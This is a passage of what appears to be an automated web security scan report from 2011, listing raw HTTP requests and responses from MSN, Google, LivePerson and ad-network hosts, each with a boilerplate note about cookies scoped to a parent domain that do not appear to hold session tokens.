BASE=YnQI+8MmSf+Tkd8dWtaeW84rjjGaJlmvQDh5gB4INGhgqyeE2hX/3YWcFU+yQrMIvnyW7WqTRB0KmqQ/Bw31Ai99Olekp3KbTCY6Hcz3dkGhJ9sRouHZQnZFf264SgioQ63Tlv7fQeZ/MdF9vTkG04AAgW50nlreFyoGRSpu37msX+jQLx6DVzg0GiS7C+fmMlpM6WkfUJE/jZpxX9BVxb4NY6Bt+8HJjfPTnrX+YEI5U8ZjkNfo+ItYJvKGpR4RUa0dXReYyzQpxRA2o3puqGCbuiUAjLdfLbZkb0ehAjiNHPbW7aQ/l8C1FAzyv+l6iXS0VVSgNUKupn3qdes1byPz6HZxkJMDmZdPvgtllPoBe0tFpazRzM6rSRksfxhrPz5M5pJJtm/KXQNQ7rIa/ZcvMwjSuOO0V4u4UyiBOr868nAkimb4kuiPI6EuPQQEioI0acaoq0TOTxGN1Dyc8slydSMH9KF18QKVsBUXOKbwTDzUKPzbf4wBORYCjhMJH19G+54N1ZyXnV1z4b4OfC5tdEiBbtwwGNupEAO!; domain=advertising.com; expires=Thu, 31-Jan-2013 15:22:48 GMT; path=/ Set-Cookie: ROLL=v5Q2V0MtUuzqOtG!; domain=advertising.com; expires=Thu, 31-Jan-2013 15:22:48 GMT; path=/ Set-Cookie: 29104868=_4d482547,0572256108,749715^918410^1183^0,0_; domain=advertising.com; path=/click Content-Length: 1043
function AdClicked(url) { var clickLineDisabled = "$dcli"; if(clickLineDisabled=="1") { return; }
var winOpen = "1"; if(winOpen == "1") { w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: realestate.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:40:26 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA16 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=972771e7f6834558a0e38a98ab1cff0e; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=95187FB7560B4B81B88E519BA8908F2A; domain=.msn.com; expires=Sun, 21-Aug-2011 15:40:26 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 40674
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /slideshow.aspx HTTP/1.1 Host: realestate.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:22 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA13 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=26fbb56ea10c4d5cac17f2337767ccbe; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=402987C945B0433BA1FE4A28CCFD831E; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:22 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 50039
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hc/15744040/?&site=15744040&cmd=mTagStartPage&lpCallId=567400305531-324853997910&protV=20&lpjson=1&page=http%3A//www.orbitz.com/shop/hotelsearch%3Ftype%3Dhotel%26hotel.typeOfSearch%3Dkeyword%26hotel.locationKeywordInput.key%3DBoston%252C%2BMA%252C%2BUnited%2BStates%26hotel.locId%3Dloc.pid%253A11231%26hotel.locationAddressInput.addressInput.countryCode%3DUS%26hotel.locationAddressInput.addressInput.addressLine1%3D%26hotel.locationAddressInput.addressInput.city%3D%26hotel.locationAddressInput.addressInput.stateProvinceCode%3D%26hotel.locationAddressInput.addressInput.postalCode%3D%26hotel.hotelSearchDetails.checkinDate%3D02%252F01%252F11%26hotel.hotelSearchDetails.checkoutDate%3D02%252F02%252F11%26hotel.hotelSearchDetails.numberOfRooms%3D1%26hotel.hotelSearchDetails.rooms%255B0%255D.numberOfAdults%3D2%26hotel.hotelSearchDetails.rooms%255B1%255D.numberOfAdults%3D1%26hotel.hotelSearchDetails.rooms%255B2%255D.numberOfAdults%3D1%26hotel.hotelSearchDetails.rooms%255B3%255D.numberOfAdults%3D1%26hotel.hotelRating%3D%26hotel.hotelChain%3D%26hotel.hotelName%3D%26hotel.couponCode%3D%26search%3DSearch&id=2998336854&javaSupport=true&visitorStatus=INSITE_STATUS&defInvite=chat-hotel-obtz-english&activePlugin=none&cobrowse=true&PV%21unit=hotel-obtz&PV%21Section=Hotel&PV%21DestinationCityS=Boston%2C%20MA&PV%21CheckInDate=2011/02/01&PV%21CheckOutDate=2011/02/02&PV%21DayOfDeparture=Tuesday&PV%21AdvancedPurchase=0&PV%21RoomsRequested=1&PV%21HotelGuests=2&PV%21ConversionStage=showHotelResults&PV%21PriceChange=&PV%21CartTotal=&PV%21FirstName=&PV%21LastName=&PV%21ErrorInvite=0&PV%21ErrorCounter=0&PV%21pageLoadTime=7%20sec&PV%21visitorActive=1&SV%21language=english&VV%21VisitorID=&title=Boston%20-%20Hotel%20Search%20Results%20-%20www.orbitz.com&referrer=http%3A//www.orbitz.com/hotels/%3Fz%3D4fae%26r%3D1o HTTP/1.1 Host: sales.liveperson.net Proxy-Connection: keep-alive Referer: http://www.orbitz.com/shop/hotelsearch?type=hotel&hotel.typeOfSearch=keyword&hotel.locationKeywordInput.key=Boston%2C+MA%2C+United+States&hotel.locId=loc.pid%3A11231&hotel.locationAddressInput.addressInput.countryCode=US&hotel.locationAddressInput.addressInput.addressLine1=&hotel.locationAddressInput.addressInput.city=&hotel.locationAddressInput.addressInput.stateProvinceCode=&hotel.locationAddressInput.addressInput.postalCode=&hotel.hotelSearchDetails.checkinDate=02%2F01%2F11&hotel.hotelSearchDetails.checkoutDate=02%2F02%2F11&hotel.hotelSearchDetails.numberOfRooms=1&hotel.hotelSearchDetails.rooms%5B0%5D.numberOfAdults=2&hotel.hotelSearchDetails.rooms%5B1%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B2%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B3%5D.numberOfAdults=1&hotel.hotelRating=&hotel.hotelChain=&hotel.hotelName=&hotel.couponCode=&search=Search Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: HumanClickKEY=699244399384198284; LivePersonID=LP i=16101423669632,d=1294435351; HumanClickACTIVE=1296573857200
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:24:18 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Set-Cookie: LivePersonID=-16101423669632-1296573858:0; expires=Wed, 01-Feb-2012 15:24:18 GMT; path=/hc/15744040; domain=.liveperson.net Set-Cookie: HumanClickKEY=699244399384198284; path=/hc/15744040 Set-Cookie: HumanClickSiteContainerID_15744040=STANDALONE; path=/hc/15744040 Set-Cookie: LivePersonID=-16101423669632-1296573858:-1:-1:-1:-1; expires=Wed, 01-Feb-2012 15:24:18 GMT; path=/hc/15744040; domain=.liveperson.net Content-Type: application/x-javascript Accept-Ranges: bytes Last-Modified: Tue, 01 Feb 2011 15:24:18 GMT Cache-Control: no-store Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 1998
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scholar?q=millenium+boston&um=1&ie=UTF-8&sa=N&hl=en&tab=ws HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><meta http-equiv="content-type" content="text/html;charset=UTF-8"><meta http-equiv="imagetoolbar" content="no"><title>millenium boston - Google Scholar</title><style>#gbar,#guser{font-size ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.0 200 OK Server: IM BidManager Date: Wed, 02 Feb 2011 15:31:41 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Wed, 02-Feb-2011 15:31:21 GMT Content-Type: image/gif Pragma: no-cache Cache-Control: no-cache Set-Cookie: partnerUID="eyI4NCI6IFsiRFRRa2U3VDk5OVk0cVlKQiIsIHRydWVdfQ=="; Domain=invitemedia.com; expires=Thu, 02-Feb-2012 15:31:41 GMT; Path=/ Content-Length: 43
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.0 200 OK Server: IM BidManager Date: Wed, 02 Feb 2011 15:17:19 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Wed, 02-Feb-2011 15:16:59 GMT Content-Type: image/gif Pragma: no-cache Cache-Control: no-cache Set-Cookie: exchange_uid=eyIyIjogWyI0NzYwNDkyOTk5MjEzODAxNzMzIiwgNzM0MTcwXSwgIjQiOiBbIkNBRVNFSk81T0hYNWxOR0lITDdmRUVFSjQtWSIsIDczNDE1MV19; Domain=invitemedia.com; expires=Thu, 02-Feb-2012 15:17:19 GMT; Path=/ Content-Length: 43
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ver1.0/Direct/Process HTTP/1.1 Host: sitelife.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
v1stsp=C92D8F8B772AFF13; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.omniture.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 19:00:29 GMT Server: Atomz/1.0 Set-Cookie: v1stsp=C92D8F8B772AFF13; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.omniture.com Content-Type: text/html Via: 1.1 sitesearch.omniture.com:86 X-Cache: MISS from sitesearch.omniture.com Keep-Alive: timeout=1, max=100 Connection: Keep-Alive Content-Length: 10248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright (c) 2011 Adobe Systems Incorporated. All rights ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bloglist.aspx HTTP/1.1 Host: social.entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:41:24 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA49 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=753ef5beea254d60bfd0840e3985ef58; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=DA434B0612654AEBB69FFCCC55E457D5; domain=.entertainment.msn.com; expires=Sun, 21-Aug-2011 15:41:24 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 49283
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /movies/blogs/the-hitlist-blog.aspx HTTP/1.1 Host: social.entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:41 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA50 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=97142110ead246b4af23d3e80090af68; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=F3F4A38801974D0F91EB4A0695CB7A94; domain=.entertainment.msn.com; expires=Sat, 20-Aug-2011 15:37:41 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 51447
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /tv/blogs/reality-tv-blog.aspx HTTP/1.1 Host: social.entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:40 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA50 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f8adf43341b7471fa5e7914cf1d7dc0a; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=6AEC06D8BAB44686824F2C0182468746; domain=.entertainment.msn.com; expires=Sat, 20-Aug-2011 15:37:40 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 73217
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ref/lppb.asp HTTP/1.1 Host: solutions.liveperson.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Object moved Connection: close Date: Wed, 02 Feb 2011 15:41:26 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Location: pbl.asp Content-Length: 128 Content-Type: text/html Set-Cookie: visitor=ref=LP+Power+%2D+; expires=Sun, 10-Jan-2010 05:00:00 GMT; domain=.liveperson.com; path=/ Set-Cookie: ASPSESSIONIDQSDTDCQS=GFEFFOICKJDDPBENNAKBIDFF; path=/ Cache-control: private
<head><title>Object moved</title></head> <body><h1>Object Moved</h1>This object may be found <a HREF="pbl.asp">here</a>.</body>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sorry/?continue=http://www.google.com/search%3Fq%3Dstatic%2B2mdn%2Bnet%26channel%3Dlinkdoctor HTTP/1.1 Host: sorry.google.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; SSDATA-DOMAIN=ikjREw(0:; TZ=360; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head><meta http-equiv="content-type" content="text/html; charset=utf-8"><title>http://www.google.com/search?q=static+2mdn+net&am ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sorry/Captcha HTTP/1.1 Host: sorry.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: S=sorry=6N0zPerLQtaqcOPwyzNvWg; TZ=360; SSDATA-DOMAIN=ikjREw(0:; GDSESS=ID=3835842a4a693afb:EX=1296674886:S=ADSvE-emQw1lIo2YoqCOpGtBmC8AL8VPeQ; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt;
Response
HTTP/1.1 503 Service Unavailable Set-Cookie: S=sorry=6N0zPerLQtaqcOPwyzNvWg; path=/; domain=google.com Date: Wed, 02 Feb 2011 19:21:52 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html Server: GCS/1.0 Content-Length: 2513 X-XSS-Protection: 1; mode=block Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head><meta http-equiv="content-type" content="text/html; charset=utf-8"><title>http://www.google.com/</title></head> <body style ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Ali-Larters-baby-story.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:49 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=ae4dd02d216846f9a2770a414b91bc69; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=DE7AAEEE18C34AB2A9596B0681A0D117; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:49 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17202
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Britney-Spears-as-maid-of-honor.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:52 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=8b293f84a2aa4ea6b368d4335862dd47; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=30E3AF4F0D0A410F9D092D52AAF41C17; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:52 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17244
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Famous-young-fashionistas.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:53 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c82f5ab0cb294224bb000a6974f275a5; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=C19310F2005D4F1DB8577CF5E86AD485; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:53 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17144
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Hip-hop-pioneer-hospitalized.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:48 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=e66a810a6966499c848c1ba70218dee0; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=137AAB2FF8D24D51B3798865AA50C5C3; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:47 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17226
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Javier-Bardem-as-Bond.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:52 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA49 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=39e0fcaec54545abb6a3f76e640dd1ae; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=F24423E8BD6D449F886E536E46A7F8AB; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:49 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17188
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/Most-wanted-celebrity-body-parts.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:52 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA56 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=c077bfedac3744318947cf51dc4f2074; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=BD3B28EF1C6441A1BC4270EEDDF93318; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:52 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17186
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /A-List/Entertainment/New-Superman-chosen.aspx HTTP/1.1 Host: specials.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:37:48 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA55 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=0837e2bff64e482a8ade273aa6bc5059; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=4B7DFBB6BC2C4FD9B3731FD23B5B7AC3; domain=.msn.com; expires=Sat, 20-Aug-2011 15:37:48 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 17196
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
